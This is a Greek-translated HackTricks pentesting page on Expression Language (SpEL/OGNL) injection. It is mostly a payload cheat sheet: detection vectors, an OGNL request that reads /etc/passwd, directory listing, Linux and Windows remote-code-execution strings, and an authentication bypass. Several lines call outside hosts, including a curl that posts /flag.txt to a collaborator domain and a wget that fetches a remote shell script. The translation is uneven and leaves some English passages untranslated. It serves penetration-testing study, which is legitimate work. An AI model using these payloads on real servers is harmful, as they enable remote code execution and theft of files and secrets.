hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

20 KiB
Raw Blame History

EL - Έκφραση Γλώσσας

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βασικές Πληροφορίες

Η Έκφραση Γλώσσας (EL) είναι αναπόσπαστο μέρος του JavaEE για τη γέφυρα μεταξύ του επιπέδου παρουσίασης (π.χ., ιστοσελίδες) και της λογικής της εφαρμογής (π.χ., διαχειριζόμενα αντικείμενα), δυνατών την αλληλεπίδρασή τους. Χρησιμοποιείται κυρίως σε:

  • JavaServer Faces (JSF): Για τη σύνδεση των στοιχείων του περιβάλλοντος χρήστη με τα δεδομένα/ενέργειες του πίσω μέρους.
  • JavaServer Pages (JSP): Για την πρόσβαση και την επεξεργασία δεδομένων μέσα σε σελίδες JSP.
  • Contexts and Dependency Injection for Java EE (CDI): Για τη διευκόλυνση της αλληλεπίδρασης του επιπέδου του ιστού με τα διαχειριζόμενα αντικείμενα.

Περιβάλλοντα Χρήσης:

  • Spring Framework: Εφαρμόζεται σε διάφορα ενότητες όπως η Ασφάλεια και τα Δεδομένα.
  • Γενική Χρήση: Μέσω του SpEL API από προγραμματιστές σε γλώσσες που βασίζονται στο JVM όπως το Java, το Kotlin και το Scala.

Η EL είναι παρούσα σε τεχνολογίες του JavaEE, αυτόνομα περιβάλλοντα και αναγνωρίζεται μέσω των επεκτάσεων αρχείων .jsp ή .jsf, σφαλμάτων στο στοίβας κλήσεων και όρων όπως "Servlet" στις κεφαλίδες. Ωστόσο, οι δυνατότητές της και η χρήση ορισμένων χαρακτήρων μπορεί να εξαρτώνται από την έκδοση.

{% hint style="info" %} Ανάλογα με την έκδοση της EL, ορισμένες δυνατότητες μπορεί να είναι ενεργοποιημένες ή απενεργοποιημένες και συνήθως ορισμένοι χαρακτήρες μπορεί να είναι απαγορευμένοι. {% endhint %}

Βασικό Παράδειγμα

(Μπορείτε να βρείτε ένα ακόμα ενδιαφέρον εκπαιδευτικό οδηγό για την EL στο https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Κατεβάστε από το αποθετήριο Maven τα αρχεία jar:

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

Και δημιουργήστε το ακόλουθο αρχείο Main.java:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Στη συνέχεια, μεταγλωττίστε τον κώδικα (αν δεν έχετε εγκατεστημένο το javac, εγκαταστήστε το sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Εκτελέστε την εφαρμογή με:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Σημειώστε πώς στο προηγούμενο παράδειγμα ο όρος {5*5} αξιολογήθηκε.

Βασισμένο σε CVE Οδηγός

Ελέγξτε το σε αυτή την ανάρτηση: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Φορτία

Βασικές ενέργειες

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Ανίχνευση

  • Ανίχνευση με το Burp
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • Ανίχνευση J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Κοιμηθείτε για 10 δευτερόλεπτα
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Απομακρυσμένη Συμπερίληψη Αρχείου

Η απομακρυσμένη συμπερίληψη αρχείου (Remote File Inclusion) είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να συμπεριλάβει αρχεία από απομακρυσμένο διακομιστή σε μια εφαρμογή ιστού. Αυτό μπορεί να οδηγήσει σε εκτέλεση κακόβουλου κώδικα ή αποκάλυψη ευαίσθητων πληροφοριών.

Ο επιτιθέμενος εκμεταλλεύεται συνήθως μια ευπάθεια στην εφαρμογή που επιτρέπει την αναφορά αρχείων από απομακρυσμένους διακομιστές χωρίς την απαραίτητη επαλήθευση. Αυτός ο τύπος επίθεσης μπορεί να επιτρέψει στον επιτιθέμενο να εκτελέσει κακόβουλο κώδικα που βρίσκεται σε ένα απομακρυσμένο αρχείο, προκαλώντας ζημιά στην εφαρμογή ή ακόμη και στον διακομιστή.

Για να προστατευθείτε από αυτήν την ευπάθεια, είναι σημαντικό να ελέγχετε προσεκτικά τις αναφορές αρχείων και να εφαρμόζετε απαραίτητες επαληθεύσεις πριν από τη συμπερίληψη αρχείων από απομακρυσμένους διακομιστές. Επίσης, ενημερώστε την εφαρμογή σας με τις τελευταίες ενημερώσεις και διορθώσεις ασφαλείας για να αποτρέψετε την εκμετάλλευση γνωστών ευπαθειών.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Κατάλογος Αρχείων

To perform a directory listing, you can use the following expression in the EL language:

${T(java.lang.Runtime).getRuntime().exec('ls')}

This expression will execute the ls command, which lists the files and directories in the current directory. The output of the command will be displayed in the response.

Keep in mind that directory listing can be a potential security risk, as it may expose sensitive information about the server's file structure. It is important to properly secure your server and restrict access to sensitive directories to prevent unauthorized access or information leakage.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Βασική εξήγηση RCE
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (δεν έχει δοκιμαστεί)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Περισσότερες RCE (Εκτέλεση Απομακρυσμένου Κώδικα)
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Επιθεώρηση του περιβάλλοντος

  • applicationScope - γενικές μεταβλητές της εφαρμογής
  • requestScope - μεταβλητές αιτήματος
  • initParam - μεταβλητές αρχικοποίησης της εφαρμογής
  • sessionScope - μεταβλητές συνεδρίας
  • param.X - τιμή παραμέτρου όπου το Χ είναι το όνομα μιας παραμέτρου http

Θα πρέπει να μετατρέψετε αυτές τις μεταβλητές σε συμβολοσειρά όπως:

${sessionScope.toString()}

Παράδειγμα παράκαμψης ταυτοποίησης

In some cases, Server-Side Template Injection (SSTI) vulnerabilities can lead to authorization bypass. This means that an attacker can access restricted areas or perform actions that are only allowed for authenticated users.

Σε ορισμένες περιπτώσεις, οι ευπάθειες Server-Side Template Injection (SSTI) μπορούν να οδηγήσουν σε παράκαμψη της ταυτοποίησης. Αυτό σημαίνει ότι ένας επιτιθέμενος μπορεί να έχει πρόσβαση σε περιορισμένες περιοχές ή να εκτελέσει ενέργειες που επιτρέπονται μόνο σε επαληθευμένους χρήστες.

${pageContext.request.getSession().setAttribute("admin", true)}

Η εφαρμογή μπορεί επίσης να χρησιμοποιεί προσαρμοσμένες μεταβλητές όπως:

${user}
${password}
${employee.FirstName}

Διάβασε τον σύνδεσμο για τον παράκαμψη του WAF

Ελέγξτε https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Αναφορές

Μάθε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!